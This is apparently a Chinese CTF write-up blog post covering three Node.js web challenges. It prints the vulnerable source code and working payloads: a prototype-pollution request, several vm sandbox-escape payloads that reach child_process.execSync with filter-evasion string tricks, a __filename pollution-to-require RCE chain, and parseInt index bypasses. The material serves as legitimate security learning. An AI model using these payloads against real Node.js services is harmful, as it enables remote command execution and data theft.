最近做的三道JS题

几道JS题

参考文章

2024VCTF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
// 引入Express框架和Node.js的文件系统模块,以及body-parser库用于解析HTTP请求体
const express = require('express')
const fs = require('fs')
var bodyParser = require('body-parser');

// 创建一个Express应用实例
const app = express()

// 使用body-parser中间件来解析URL编码的请求体,并设置其对复杂对象的深度解析
app.use(bodyParser.urlencoded({
extended: true
}));

// 使用body-parser中间件来解析JSON格式的请求体
app.use(bodyParser.json());

// 定义一个处理POST请求的路由,当请求发送到/plz路径时触发
app.post('/plz', (req, res) => {

// 从请求体中提取venom对象
venom = req.body.venom

// 检查venom对象的属性个数是否少于3,并且welcome属性是否等于159753
if (Object.keys(venom).length < 3 && venom.welcome == 159753) {
try {
// 检查venom对象是否有text属性,如果有则返回text的值
if(venom.hasOwnProperty("text")){
res.send(venom.text)
}else{
// 如果没有text属性,则返回"no text detected"
res.send("no text detected")
}
} catch {
// 如果try块中的代码抛出异常,则检查venom.text是否等于"flag"
if (venom.text=="flag") {
// 如果是,则读取文件系统中的"/flag"文件,并返回包含文件内容的消息
let flag=fs.readFileSync("/flag");
res.send("Congratulations:"+flag);
} else {
// 如果不是,或者try块中的代码抛出了异常,但不满足条件,则返回"Nothing here!"
res.end("Nothing here!")
}
}
} else {
// 如果venom对象的属性个数不少于3或welcome属性不等于159753,则返回"happy game"
res.end("happy game");
}
})

// 定义一个处理GET请求的路由,当请求发送到根路径时触发
app.get('/',
function(req, res, next) {
// 发送一个包含HTML的响应,其中包括一个表单,该表单通过POST请求发送到/plz路径
res.send('<title>oldjs</title><a>Hack me plz</a><br><form action="/plz" method="POST">text:<input type="text" name="venom[text]" value="ezjs"><input type="submit" value="Hack"></form> ');
});

// 启动服务器,监听80端口
app.listen(80, () => {
console.log(`listening at port 80`)
})

限制了venom对象的属性个数少于3,并且welcome属性是否等于159753。想拿flag还需venom.text==”flag”的同时抛出一个异常。

属性个数可以利用原型链污染绕过,接下来考虑如何令venom.hasOwnProperty(“text”)抛出异常:

venom[hasOwnProperty]=Jay17:这部分将venom对象的hasOwnProperty属性设置为1。正常情况下,hasOwnProperty是一个继承自Object.prototype的方法,用于检查对象是否拥有特定的自有属性。通过将它设置为一个字符串,venom.hasOwnProperty(“text”)的调用将会失败,因为hasOwnProperty已不再是一个函数。所以进入catch块

payload:

1
venom[__proto__][welcome]=159753&venom[text]=flag&venom[hasOwnProperty]=1

NKCTF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");

app
.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')))

app.get('/', function (req, res){
res.sendFile(__dirname + '/public/home.html');
})


function waf(code) {
let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
if(code.match(pattern)){
throw new Error("what can I say? hacker out!!");
}
}

app.post('/', function (req, res){
let code = req.body.code;
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);
try {
waf(code)
let result = vm.runInContext(code, context);
console.log(result);
} catch (e){
console.log(e.message);
require('./hack');
}
})

app.get('/secret', function (req, res){
if(process.__filename == null) {
let content = fs.readFileSync(__filename, "utf-8");
return res.send(content);
} else {
let content = fs.readFileSync(process.__filename, "utf-8");
return res.send(content);
}
})


app.listen(3000, ()=>{
console.log("listen on 3000");
})

沙箱逃逸

简单说就是获取一个沙箱外的对象然后调用constructor属性进而执行命令。这题是vm不涉及vm2沙箱逃逸。

/路由存在Runincontext(注意Object.create(null),相当于没有this关键字。但根据上面的文章我们知道还可以利用arguments.callee.caller返回沙箱外的一个对象)。可以在沙箱中执行经过waf检测后的代码:

1
2
3
4
5
6
function waf(code) {
let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
if(code.match(pattern)){
throw new Error("what can I say? hacker out!!");
}
}

没有可以用来进行恶意重写的函数(用Proxy来劫持属性)

先写个如果没有waf的EXP:

1
2
3
4
5
6
7
8
9
`
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('ls').toString();
}
})
`;

但注意这里process和exec被过滤了,当时想了很久要怎么绕过,看了这篇文章(但是当时不知道怎么套进去):

js绕过

网上看的其它师傅的写法:

1
2
3
4
5
6
7
8
9
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return procBess'.replace('B','')))();
const obj = p.mainModule.require('child_procBess'.replace('B',''));
const ex = Object.getOwnPropertyDescriptor(obj, 'exeicSync'.replace('i',''));
return ex.value('whoami').toString();
}
})

还有其它方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
throw new Proxy({}, {

get: function(){

const cc = arguments.callee.caller;

const aa = 'return Process'.toLowerCase();

const bb = 'child_pRocess'.toLowerCase();

const p = (cc.constructor.constructor(aa))().mainModule.require(bb);

return Reflect.get(Reflect.get(p, Reflect.ownKeys(p).find(x=>x.startsWith('ex')))('ls'));

}

})

还有其它解法:参考文章

js这种语言太灵活了

唉,学

官方wp:(原型链污染+沙箱逃逸):

首先process.__filename这东西存在原型链污染(和沙箱逃逸配合):

1
2
3
4
5
6
7
8
9
10
11
12
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
cc.__proto__.__proto__.__filename = "/app/hack.js";
}
})
//hack.js
console.log('shell.js');
//同理读shell.js
console.log("shell");
const p = require('child_process');
p.execSync(process.env.command);

然后就是一个[require任意文件包含](Node.js require () RCE 复现 | Jiekang Hu’s Blog (hujiekang.top))

[GFCTF2024]cool_index

贴些关键代码,主要逻辑就是注册时输入用户名和注册码,后端会进行校验,如果注册码等于特定值就会给premium身份,否则就是guest身份。premium用户能看flag

贴些关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
//server.js
app.post("/register", (req, res) => {
const { username, voucher } = req.body;
if (typeof username === "string" && (!voucher || typeof voucher === "string")) {
const subscription = (voucher === FLAG + JWT_SECRET ? "premium" : "guest");
if (voucher && subscription === "guest") {
return res.status(400).json({ message: "邀请码无效" });
}
const userToken = jwt.sign({ username, subscription }, JWT_SECRET, {
expiresIn: "1d",
});
res.cookie("token", userToken, { httpOnly: true });
return res.json({ message: "注册成功", subscription });
}

return res.status(400).json({ message: "用户名或邀请码无效" });
});
app.post("/article", (req, res) => {
const token = req.cookies.token;
if (token) {
try {
const decoded = jwt.verify(token, JWT_SECRET);
let index = req.body.index;
if (req.body.index < 0) {
return res.status(400).json({ message: "你知道我要说什么" });
}
if (decoded.subscription !== "premium" && index >= 7) {
return res
.status(403)
.json({ message: "订阅高级会员以解锁" });
}
index = parseInt(index);
if (Number.isNaN(index) || index > articles.length - 1) {
return res.status(400).json({ message: "你知道我要说什么" });
}

return res.json(articles[index]);
} catch (error) {
res.clearCookie("token");
return res.status(403).json({ message: "重新登录罢" });
}
} else {
return res.status(403).json({ message: "未登录" });
}

premium判断逻辑:

1
voucher === FLAG + JWT_SECRET

这个感觉没啥利用点,如果我都知道FLAG了还去弄它干啥。。猜测是某种方式读JWT_SECRET然后进行伪造。

后面看了wp,这里直接传{"index":"7+1"}就行。。唉

这么传可以绕过第一个if的判断:

1
2
3
4
5
6
7
index = "7+1";
if (index >= 7) {
console.log("大于或等于7!!")
}
index = parseInt(index);
console.log(index)
//结果:7

然后会进第二个if,满足index不大于7,输出flag

后面看了官方wp,还有其它解法,这里直接复制粘贴了:

原本parseInt()接收字符串参数并转为整形数据类型,但如果目标是 Node 中的big int,转换时会造成精度损失,但能绕过正常的大小比较。

在 Node.js 中,BigInt 是一种数据类型,用于表示大整数,即超出 JavaScript 原生 Number 类型范围的整数值。JavaScript 中的普通 Number 类型有一个有限的范围,超出这个范围的整数值无法精确表示,会导致精度丢失或溢出。

BigInt 类型通过在整数值后面添加 n 后缀来表示,例如 1234567890123456789012345678901234567890n。它允许表示的整数范围比 Number 类型更大,因此在需要处理非常大的整数时非常有用。

images

bigbigint

或者:数字分隔符也可以绕过大小比较。

fenge1

fenge2


最近做的三道JS题
http://example.com/2024/04/20/2024-4-20-最近做的一些JS题/
作者
notbad3
发布于
2024年4月20日
许可协议